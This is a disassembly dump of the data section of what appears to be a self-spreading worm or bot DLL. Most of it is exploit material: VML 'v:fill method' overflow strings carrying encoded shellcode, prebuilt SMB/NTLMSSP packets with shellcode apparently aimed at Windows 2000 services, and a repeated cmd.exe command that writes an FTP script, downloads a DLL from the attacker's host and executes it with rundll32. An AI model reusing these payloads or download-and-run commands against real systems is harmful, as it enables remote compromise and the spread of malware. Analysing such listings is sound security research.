		align 4
; char aVRect[]
aVRect		db '</v:rect>',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+2A1o
; char aBody_0[]
aBody_0		db '</body>',0Dh,0Ah,0  ; DATA XREF: sub_100024A5+2DEo
		align 10h
; char aHtml[]
aHtml		db '</html>',0Dh,0Ah,0  ; DATA XREF: sub_100024A5+31Bo
		align 4
aSSendingExploi	db '%s Sending exploit..',0 ; DATA XREF: sub_100024A5+35Do
		align 4
; char aS_dll_0[]
aS_dll_0	db '%s.dll',0           ; DATA XREF: sub_100024A5+389o
		align 4
; char aCmd_exeCEcho_0[]
aCmd_exeCEcho_0	db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
					; DATA XREF: sub_100024A5+3BDo
		db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
		align 10h
; char aVFillMethodA_0[]
aVFillMethodA_0	db '<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
					; DATA XREF: sub_100024A5:loc_10002891o
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAA쳝砀邐邐邐邐&#'
		db '37008;邐邐邐邐邐邐邐'
		db '6459;澾潯买澿〰佰㥃'
		db '011;䯻㎀㧮ﱳ폿潮ğ'
		db '83;䬇뇮侊깥ਰ'
		db '2;敃ᥥڷ&'
		db '#5900;膆蛮鲛莂ᆺ篸8'
		db '838;淮츂㉥캄ᆽᝪ'
		db '5;닭삏⦋雪�븮'
		db ';붾뺹렑旾븲ᆽ&'
		db '#47121;뿢斸튛驥雀ᯭ斸'
		db '2888;ᯭ⟝꾧�﹐‘'
		db '48;┯긴ἅছ新&'
		db '#51888;㏭斈ꗢ끥攳旪&#'
		db '11245;끅⶷렆ᄑ怑⼂'
		db '67;癖搐郠శ�쇴㎞'
		db ';纖繾繾繾繾繾繾繾'
		db '繾繾繾繾敾渲〰遰/'
		db '>',0Dh,0Ah,0
		align 4
; char aVFillMethodA_1[]
aVFillMethodA_1	db '<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
					; DATA XREF: sub_100024A5+4AAo
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAA쳝砀邐邐邐邐&#'
		db '37008;邐邐邐邐邐邐邐'
		db '6459;澾潯买澿〰佰㥃'
		db '011;䯻㎀㧮ﱳ폿潮ğ'
		db '83;䬇뇮侊깥ਰ'
		db '2;敃ᥥڷ&'
		db '#5900;膆蛮鲛莂ᆺ篸8'
		db '838;淮츂㉥캄ᆽᝪ'
		db '5;닭삏⦋雪�븮'
		db ';붾뺹렑旾븲ᆽ&'
		db '#47121;뿢斸튛驥雀ᯭ斸'
		db '2888;ᯭ⟝꾧�﹐‘'
		db '48;┯긴ἅছ新&'
		db '#51888;㏭斈ꗢ끥攳旪&#'
		db '11245;끅⶷렆ᄑ怑⼂'
		db '67;癖搐郠శ�쇴㎞'
		db ';纖繾繾繾繾繾繾繾'
		db '繾繾繾繾敾渲〰遰/'
		db '>',0Dh,0Ah,0
		align 4
; char Str2[]
Str2		db '..',0               ; DATA XREF: sub_100024A5+527o
		align 4
; char a_[]
a_:					; DATA XREF: sub_100024A5+543o
		unicode	0, <.>,0
aPm		db 'PM',0               ; DATA XREF: sub_100024A5+597o
		align 4
aAm		db 'AM',0               ; DATA XREF: sub_100024A5:loc_10002A48o
		align 4
; char a2_2d2_2d4d2_2d[]
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_100024A5+627o
; char aVFillMethodA_2[]
aVFillMethodA_2	db '<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
					; DATA XREF: sub_100024A5+668o
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAA쳝砀邐邐邐邐&#'
		db '37008;邐邐邐邐邐邐邐'
		db '6459;澾潯买澿〰佰㥃'
		db '011;䯻㎀㧮ﱳ폿潮ğ'
		db '83;䬇뇮侊깥ਰ'
		db '2;敃ᥥڷ&'
		db '#5900;膆蛮鲛莂ᆺ篸8'
		db '838;淮츂㉥캄ᆽᝪ'
		db '5;닭삏⦋雪�븮'
		db ';붾뺹렑旾븲ᆽ&'
		db '#47121;뿢斸튛驥雀ᯭ斸'
		db '2888;ᯭ⟝꾧�﹐‘'
		db '48;┯긴ἅছ新&'
		db '#51888;㏭斈ꗢ끥攳旪&#'
		db '11245;끅⶷렆ᄑ怑⼂'
		db '67;癖搐郠శ�쇴㎞'
		db ';纖繾繾繾繾繾繾繾'
		db '繾繾繾繾敾渲〰遰/'
		db '>',0Dh,0Ah,0
		align 4
; char aSS_0[]
aSS_0		db '%s%s/',0            ; DATA XREF: sub_100024A5+6B0o
		align 4
; char aCode_29sGtCode[]
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_100024A5+708o
		align 4
; char aCodeSCodeA[]
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_100024A5+72Bo
		align 4
; char aTdTdWidthDCode[]
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_100024A5+77Do
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSSendingExpl_0	db '%s Sending exploit..',0 ; DATA XREF: sub_100024A5+7BFo
		align 4
; char aS_dll_1[]
aS_dll_1	db '%s.dll',0           ; DATA XREF: sub_100024A5+7EBo
		align 4
; char aCmd_exeCEcho_1[]
aCmd_exeCEcho_1	db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
					; DATA XREF: sub_100024A5+81Fo
		db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
		align 10h
; char aS[]
aS		db '<%s>',0             ; DATA XREF: sub_100024A5+85Ao
		align 4
; char a31s21s[]
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+882o
		align 4
aSSendingExpl_1	db '%s Sending exploit..',0 ; DATA XREF: sub_100024A5+8C4o
		align 10h
; char aS_dll_2[]
aS_dll_2	db '%s.dll',0           ; DATA XREF: sub_100024A5+8F0o
		align 4
; char aCmd_exeCEcho_2[]
aCmd_exeCEcho_2	db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
					; DATA XREF: sub_100024A5+924o
		db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
		align 4
; char aTrTdWidthDAHre[]
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_100024A5+976o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
; char aSS_1[]
aSS_1		db '%s%s',0             ; DATA XREF: sub_100024A5+9BEo
		align 4
; char aCode_30sGtCode[]
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_100024A5+A1Bo
		align 4
; char aCodeSCodeA_0[]
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_100024A5+A3Eo
		align 4
; char aTdTdWidthDCo_0[]
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_100024A5+A9Ao
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aSSendingExpl_2	db '%s Sending exploit..',0 ; DATA XREF: sub_100024A5+ADCo
		align 4
; char aS_dll_3[]
aS_dll_3	db '%s.dll',0           ; DATA XREF: sub_100024A5+B08o
		align 4
; char aCmd_exeCEcho_3[]
aCmd_exeCEcho_3	db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
					; DATA XREF: sub_100024A5+B3Bo
		db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
		align 4
; char a31s21sIBytes[]
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+B81o
		align 4
; char aTrTdColspan3Hr[]
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_100024A5+BD6o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
; char aVFillMethodA_3[]
aVFillMethodA_3	db '<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
					; DATA XREF: sub_100024A5:loc_10003097o
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAA쳝砀邐邐邐邐&#'
		db '37008;邐邐邐邐邐邐邐'
		db '6459;澾潯买澿〰佰㥃'
		db '011;䯻㎀㧮ﱳ폿潮ğ'
		db '83;䬇뇮侊깥ਰ'
		db '2;敃ᥥڷ&'
		db '#5900;膆蛮鲛莂ᆺ篸8'
		db '838;淮츂㉥캄ᆽᝪ'
		db '5;닭삏⦋雪�븮'
		db ';붾뺹렑旾븲ᆽ&'
		db '#47121;뿢斸튛驥雀ᯭ斸'
		db '2888;ᯭ⟝꾧�﹐‘'
		db '48;┯긴ἅছ新&'
		db '#51888;㏭斈ꗢ끥攳旪&#'
		db '11245;끅⶷렆ᄑ怑⼂'
		db '67;癖搐郠శ�쇴㎞'
		db ';纖繾繾繾繾繾繾繾'
		db '繾繾繾繾敾渲〰遰/'
		db '>',0Dh,0Ah,0
		align 4
aSSendingExpl_3	db '%s Sending exploit..',0 ; DATA XREF: sub_100030D9+66o
		align 10h
; char aS_dll_4[]
aS_dll_4	db '%s.dll',0           ; DATA XREF: sub_100030D9+92o
		align 4
; char aCmd_exeCEcho_4[]
aCmd_exeCEcho_4	db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
					; DATA XREF: sub_100030D9+C6o
		db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
		align 4
; char SubStr[]
SubStr		db 'GET ',0             ; DATA XREF: sub_1000329E+492o
		align 4
; char asc_10010AC4[]
asc_10010AC4:				; DATA XREF: sub_1000329E+4BFo
		unicode	0, < >,0
; char asc_10010AC8[]
asc_10010AC8:				; DATA XREF: sub_1000329E+4C4o
		unicode	0, < >,0
; char aGet_0[]
aGet_0		db 'GET ',0             ; DATA XREF: sub_1000329E+4C9o
		align 4
; char asc_10010AD4[]
asc_10010AD4	db 0Dh,0Ah,0		; DATA XREF: sub_1000329E:loc_100037B7o
		align 4
aSSendingExpl_4	db '%s Sending exploit..',0 ; DATA XREF: sub_1000329E+6A4o
		align 10h
; char aS_dll_5[]
aS_dll_5	db '%s.dll',0           ; DATA XREF: sub_1000329E+6D0o
		align 4
; char aCmd_exeCEcho_5[]
aCmd_exeCEcho_5	db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
					; DATA XREF: sub_1000329E+703o
		db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
		align 4
; char aTextHtml[]
aTextHtml	db 'text/html',0        ; DATA XREF: StartAddress+7Eo
		align 4
; char aApplicationOct[]
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: StartAddress+97o
		align 4
; char aDddDdMmmYyyy[]
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: StartAddress+B5o
		align 4
; char aHhMmSs[]
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: StartAddress+D2o
		align 4
; char aHttp1_0200OkSe[]
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: StartAddress+120o
		db 'Server: HTTPd',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
; char aHttp1_0200Ok_0[]
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: StartAddress+174o
		db 'Server: HTTPd',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aSSendingExpl_5	db '%s Sending exploit..',0 ; DATA XREF: StartAddress+1B9o
		align 4
; char aS_dll_6[]
aS_dll_6	db '%s.dll',0           ; DATA XREF: StartAddress+1E5o
		align 10h
; char aCmd_exeCEcho_6[]
aCmd_exeCEcho_6	db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
					; DATA XREF: StartAddress+219o
		db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
		align 4
; char aB[]
aB:					; DATA XREF: sub_10003D60+C3o
		unicode	0, <>
		dw 4400h
aCkfdenecfdef_0	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0	db ' CACACACACACACACACACACACACACACAAA',0
; char byte_10010E7C[]
byte_10010E7C	db 3 dup(0)		; DATA XREF: sub_10003D60+F7o
		db 54h
		dd 424D53FFh, 72h, 28011800h, 3	dup(0)
		dd 1D300000h, 0EC840000h, 2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh
; char byte_10010ED4[]
byte_10010ED4	db 3 dup(0)		; DATA XREF: sub_10003D60+12Eo
		db 0B5h
		dd 424D53FFh, 73h, 28011800h, 3	dup(0)
		dd 1D300000h, 0EC840000h, 0FF0Ch, 2FFDF00h, 100h, 57000000h
		dd 0
		db    0
		db 5Ch,	0D0h, 0
		db  80h	; €
		db 7Ah,	0, 60h
		db  55h	; U
		db 2 dup(6), 2Bh
		db    6
		db 1, 2	dup(5)
		db    2
		db 0A0h, 4Bh, 30h
		db  49h	; I
		db 0A0h, 0Eh, 30h
		db  0Ch
		db 6, 0Ah, 2Bh
		db    6
		db 1, 4, 1
		db  82h	; ‚
		db 37h,	2 dup(2)
		db  0Ah
		db 0A2h, 37h, 4
a5ntlmssp	db '5NTLMSSP',0
		db 1, 2	dup(0)
		db    0
		db 1, 2, 8
		db    0
		db 9, 0, 9
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 29h,	2 dup(0)
		db    0
aWorkgroupworks	db 'WORKGROUPWORKSTATION1Windows 2000 2195',0
aWindows20005_0	db 'Windows 2000 5.0',0
		align 10h
; char byte_10010F90[]
byte_10010F90	db 2 dup(0)		; DATA XREF: sub_10003D60+165o
		dw 401h
		dd 424D53FFh, 73h, 28011800h, 3	dup(0)
		dd 1D300000h, 0EC840800h, 0FF0Ch, 2FFDF00h, 100h, 0A6000000h
		dd 0
		dd 0D05C00h, 0A100C980h, 8130A381h, 9D81A2A0h, 4E9A8104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 12000000h, 70001200h, 0
		dd 82000000h, 18000000h, 82001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 25h
		db 0A6h	; ¦
		db 9Fh,	80h, 96h
		db  31h	; 1
		db 6Ch,	0CAh, 0A0h
		db    8
		db 9Fh,	12h, 7Eh
		db  47h	; G
		db 0CDh, 45h, 10h
		db  25h	; %
		db 39h,	7Dh, 0F8h
		db  55h	; U
		db 66h,	3, 57h
		db    0
		db 4Fh,	0, 52h
		db    0
		db 4Bh,	0, 47h
		db    0
		db 52h,	0, 4Fh
		db    0
		db 55h,	0, 50h
		db    0
		db 57h,	0, 4Fh
		db    0
		db 52h,	0, 4Bh
		db    0
		db 53h,	0, 54h
		db    0
		db 41h,	0, 54h
		db    0
		db 49h,	0, 4Fh
		db    0
		db 4Eh,	0, 31h
		db    0
aWindows2000219	db 'Windows 2000 2195',0
aWindows20005_1	db 'Windows 2000 5.0',0
; char byte_10011098[]
byte_10011098	db 3 dup(0)		; DATA XREF: sub_10003D60+199o
		db 3Ah
		dd 424D53FFh, 75h, 20011800h, 3	dup(0)
		dd 1D300000h, 0EC840800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
; char byte_100110D8[]
byte_100110D8	db 3 dup(0)		; DATA XREF: sub_10003D60+1CDo
		db 5Ch
		dd 424D53FFh, 0A2h, 20011800h, 3 dup(0)
		dd 1D300800h, 0EC840800h, 0FF18h, 80000h, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h
; char byte_10011138[]
byte_10011138	db 3 dup(0)		; DATA XREF: sub_10003D60+204o
		db 92h
		dd 424D53FFh, 25h, 20011800h, 3	dup(0)
		dd 1D300800h, 0EC840800h, 48000010h, 0E0040000h, 0FFh
		dd 2 dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
; char byte_100111D0[]
byte_100111D0	db 2 dup(0)		; DATA XREF: sub_10003D60+23Bo
		dw 5701h
		dd 424D53FFh, 2Fh, 20011800h, 3	dup(0)
		dd 1D300800h, 0EC840800h, 0FF0Eh, 400000h, 0FF000000h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 1C001F00h, 118C467h, 0
		dd 1000000h, 0
		dd 6334BF00h, 1, 63000000h, 93000001h, 0FC489648h, 0F9989340h
		dd 969F9F98h, 40902737h, 0D64E4B9Fh, 83C92B93h,	0EED9AFE9h
		dd 0F42474D9h, 1373815Bh, 0E9D82A2Dh, 0E2FCEB83h, 27EEACF4h
		dd 9CD5D206h, 95C14715h, 27D5D401h, 0B4A14D16h,	9DA109CDh
		dd 0DD56A6D5h, 53C52C91h, 87A135A6h, 91C12CC9h,	0D9A11962h
		dd 41EA1C07h, 0ACEAA945h, 0D5E0ECEEh, 2CC1EFE8h, 0F00E79D2h
		dd 87A1C89Ch, 0BEC12CCDh, 53612162h, 332B31B6h,	51A101EAh
		dd 0B9360985h, 0BCF11C2Ah, 531A6E62h, 0A8A121A9h, 98A180F5h
		dd 564273E1h, 88C623A7h, 8B4CFB16h, 0EA19458Fh,	0EA595A81h
		dd 8D579B6h, 24C7E681h,	0ED57DD2h, 0BECFA4B6h, 0DA22C068h
		dd 272847BCh, 0D1F34539h, 277D801Ch, 8B797E3Fh,	8B697EBAh
		dd 8D57EAAh, 0E9FE458Fh, 39A37E8Fh, 8E457Ch
; char byte_1001132C[]
byte_1001132C	db 2 dup(0)		; DATA XREF: sub_10003D60+272o
		dw 5701h
		dd 424D53FFh, 2Fh, 20011800h, 3	dup(0)
		dd 1D300800h, 0EC840800h, 0FF0Eh, 18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		db    1
		align 4
		db    0
		db 1Fh,	0, 0C2h
		db  99h	; ™
		db 0EAh, 7Dh, 27h
		db  3Fh	; ?
		db 47h,	3Ah, 89h
		db 0BCh	; ¼
		db 0D2h, 0FAh, 0B0h
		db  4Dh	; M
		db 80h,	4, 31h
		db 0BEh	; ¾
		db 0D2h, 0FCh, 8Bh
		db 0BCh	; ¼
		db 0D2h, 0FAh, 0B0h
		db  0Ch
		db 64h,	0ACh, 91h
		db 0BEh	; ¾
		db 0D2h, 0FCh, 88h
		db 0BDh	; ½
		db 79h,	7Fh, 27h
		db  39h	; 9
		db 0BEh, 42h, 3Fh
		db  90h	; 
		db 0EBh, 53h, 8Fh
		db  16h
		db 0FBh, 7Fh, 27h
		db  39h	; 9
		db 4Bh,	40h, 0BCh
		db  8Fh	; 
		db 45h,	49h, 0B5h
		db  60h	; `
		db 0C8h, 40h, 88h
		db 0B0h	; °
		db 4, 0E6h, 51h
		db  0Eh
		db 47h,	6Eh, 51h
		db  0Bh
		db 1Ch,	0EAh, 2Bh
		db  43h	; C
		db 0D3h, 68h, 0F5h
		db  17h
		db 6Fh,	6, 4Bh
		db  64h	; d
		db 57h,	12h, 73h
		db  42h	; B
		db 86h,	42h, 0AAh
		db  17h
		db 9Eh,	3Ch, 27h
		db  9Ch	; œ
		db 69h,	0D5h, 0Eh
		db 0B2h	; ²
		db 7Ah,	78h, 89h
		db 0B8h	; ¸
		db 7Ch,	40h, 0D9h
		db 0B8h	; ¸
		db 7Ch,	7Fh, 89h
		db  16h
		db 0FDh, 42h, 75h
		db  30h	; 0
		db 28h,	0E4h, 8Bh
		db  16h
		db 0FBh, 40h, 27h
		db  16h
		db 1Ah,	0D5h, 8
		db  62h	; b
		db 7Ah,	0D6h, 5Bh
		db  2Dh	; -
		db 49h,	0D5h, 0Eh
		db 0BBh	; »
		db 0D2h, 0FAh, 0B0h
		db    6
		db 0E3h, 0CAh, 0B8h
		db 0BAh	; º
		db 0D2h, 0FCh, 27h
a9arz4tfled8ojd	db '9arZ4TFLED8OjD3AICISR7A14gfpAGAI4Mvub1yWTdTZoEnGqgR1fEZmAq9LLzHoP'
		db 'tLGaj0Uihzzki3Lp4GSJTt9X3xCgTtXw2wBRMWp6u83Rfy',0
; char byte_10011488[]
byte_10011488	db 2 dup(0)		; DATA XREF: sub_10003D60+2A9o
		dw 5701h
		dd 424D53FFh, 2Fh, 20011800h, 3	dup(0)
		dd 1D300800h, 0EC840800h, 0FF0Eh, 30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 52001F00h, 4E373636h, 76486F54h, 68633251h, 43683667h
		dd 4B465439h, 57567967h, 42394553h, 574F654Ah, 396B4273h
		dd 56317652h, 70426E42h, 58464275h, 62464835h, 336D784Ah
		dd 30345053h, 6C46767Ah, 6A37544Fh, 5459454Ah, 3662696Fh
		dd 326A5765h, 65316344h, 5559364Bh, 78383233h, 7542645Ah
		dd 70527956h, 45473336h, 3672317Ah, 70355051h, 3159584Fh
		dd 70393275h, 6A415074h, 787A6534h, 0A595069h, 4A000208h
		dd 396C5752h, 4387750h,	32000208h, 56494937h, 68556F6Dh
		dd 41516956h, 474C4335h, 30454F6Bh, 30523651h, 7874646Fh
		dd 4703265h, 35000208h,	78327879h, 4353870h, 51000208h
		dd 4A363967h, 56726571h, 53584755h, 614F5958h, 62477A61h
		dd 73615648h, 344B4D33h, 793942h, 78F9BF00h, 1000000h
		dd 0
		dd 1000000h, 0
		dd 7BEEB400h, 0
; char byte_100115E4[]
byte_100115E4	db 3 dup(0)		; DATA XREF: sub_10003D60+2DDo
		db 66h
		dd 424D53FFh, 25h, 20011800h, 3	dup(0)
		dd 1D300800h, 0EC840800h, 1C000010h, 0E0040000h, 0FFh
		dd 2 dup(0)
		dd 1C004A00h, 2004A00h,	2600h, 5C002340h, 45504950h, 5005Ch
		dd 100200h, 1C0000h, 0
		dd 40000h, 0
		dd 1Fh,	0
; char byte_10011650[]
byte_10011650	db 2 dup(0)		; DATA XREF: sub_10003D60+314o
		dw 5701h
		dd 424D53FFh, 2Fh, 20011800h, 3	dup(0)
		dd 1D300800h, 0EC840800h, 0FF0Eh, 400000h, 0FF000000h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 1C001F00h, 118C467h, 0
		dd 1000000h, 0
		dd 6334BF00h, 1, 63000000h, 93000001h, 0FC489648h, 0F9989340h
		dd 969F9F98h, 40902737h, 0D64E4B9Fh, 83C92B93h,	0EED9AFE9h
		dd 0F42474D9h, 1373815Bh, 0E9D82A2Dh, 0E2FCEB83h, 27EEACF4h
		dd 9CD5D206h, 95C14715h, 27D5D401h, 0B4A14D16h,	9DA109CDh
		dd 0DD56A6D5h, 53C52C91h, 87A135A6h, 91C12CC9h,	0D9A11962h
		dd 41EA1C07h, 0ACEAA945h, 0D5E0ECEEh, 2CC1EFE8h, 0F00E79D2h
		dd 87A1C89Ch, 0BEC12CCDh, 53612162h, 332B31B6h,	51A101EAh
		dd 0B9360985h, 0BCF11C2Ah, 531A6E62h, 0A8A121A9h, 98A180F5h
		dd 564273E1h, 88C623A7h, 8B4CFB16h, 0EA19458Fh,	0EA595A81h
		dd 8D579B6h, 24C7E681h,	0ED57DD2h, 0BECFA4B6h, 0DA22C068h
		dd 272847BCh, 0D1F34539h, 277D801Ch, 8B797E3Fh,	8B697EBAh
		dd 8D57EAAh, 0E9FE458Fh, 39A37E8Fh, 8E457Ch
; char byte_100117AC[]
byte_100117AC	db 2 dup(0)		; DATA XREF: sub_10003D60+34Bo
		dw 5701h
		dd 424D53FFh, 2Fh, 20011800h, 3	dup(0)
		dd 1D300800h, 0EC840800h, 0FF0Eh, 18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		db    1
		align 4
		db    0
		db 1Fh,	0, 0C2h
		db  99h	; ™
		db 0EAh, 7Dh, 27h
		db  3Fh	; ?
		db 47h,	3Ah, 89h
		db 0BCh	; ¼
		db 0D2h, 0FAh, 0B0h
		db  4Dh	; M
		db 80h,	4, 31h
		db 0BEh	; ¾
		db 0D2h, 0FCh, 8Bh
		db 0BCh	; ¼
		db 0D2h, 0FAh, 0B0h
		db  0Ch
		db 64h,	0ACh, 91h
		db 0BEh	; ¾
		db 0D2h, 0FCh, 88h
		db 0BDh	; ½
		db 79h,	7Fh, 27h
		db  39h	; 9
		db 0BEh, 42h, 3Fh
		db  90h	; 
		db 0EBh, 53h, 8Fh
		db  16h
		db 0FBh, 7Fh, 27h
		db  39h	; 9
		db 4Bh,	40h, 0BCh
		db  8Fh	; 
		db 45h,	49h, 0B5h
		db  60h	; `
		db 0C8h, 40h, 88h
		db 0B0h	; °
		db 4, 0E6h, 51h
		db  0Eh
		db 47h,	6Eh, 51h
		db  0Bh
		db 1Ch,	0EAh, 2Bh
		db  43h	; C
		db 0D3h, 68h, 0F5h
		db  17h
		db 6Fh,	6, 4Bh
		db  64h	; d
		db 57h,	12h, 73h
		db  42h	; B
		db 86h,	42h, 0AAh
		db  17h
		db 9Eh,	3Ch, 27h
		db  9Ch	; œ
		db 69h,	0D5h, 0Eh
		db 0B2h	; ²
		db 7Ah,	78h, 89h
		db 0B8h	; ¸
		db 7Ch,	40h, 0D9h
		db 0B8h	; ¸
		db 7Ch,	7Fh, 89h
		db  16h
		db 0FDh, 42h, 75h
		db  30h	; 0
		db 28h,	0E4h, 8Bh
		db  16h
		db 0FBh, 40h, 27h
		db  16h
		db 1Ah,	0D5h, 8
		db  62h	; b
		db 7Ah,	0D6h, 5Bh
		db  2Dh	; -
		db 49h,	0D5h, 0Eh
		db 0BBh	; »
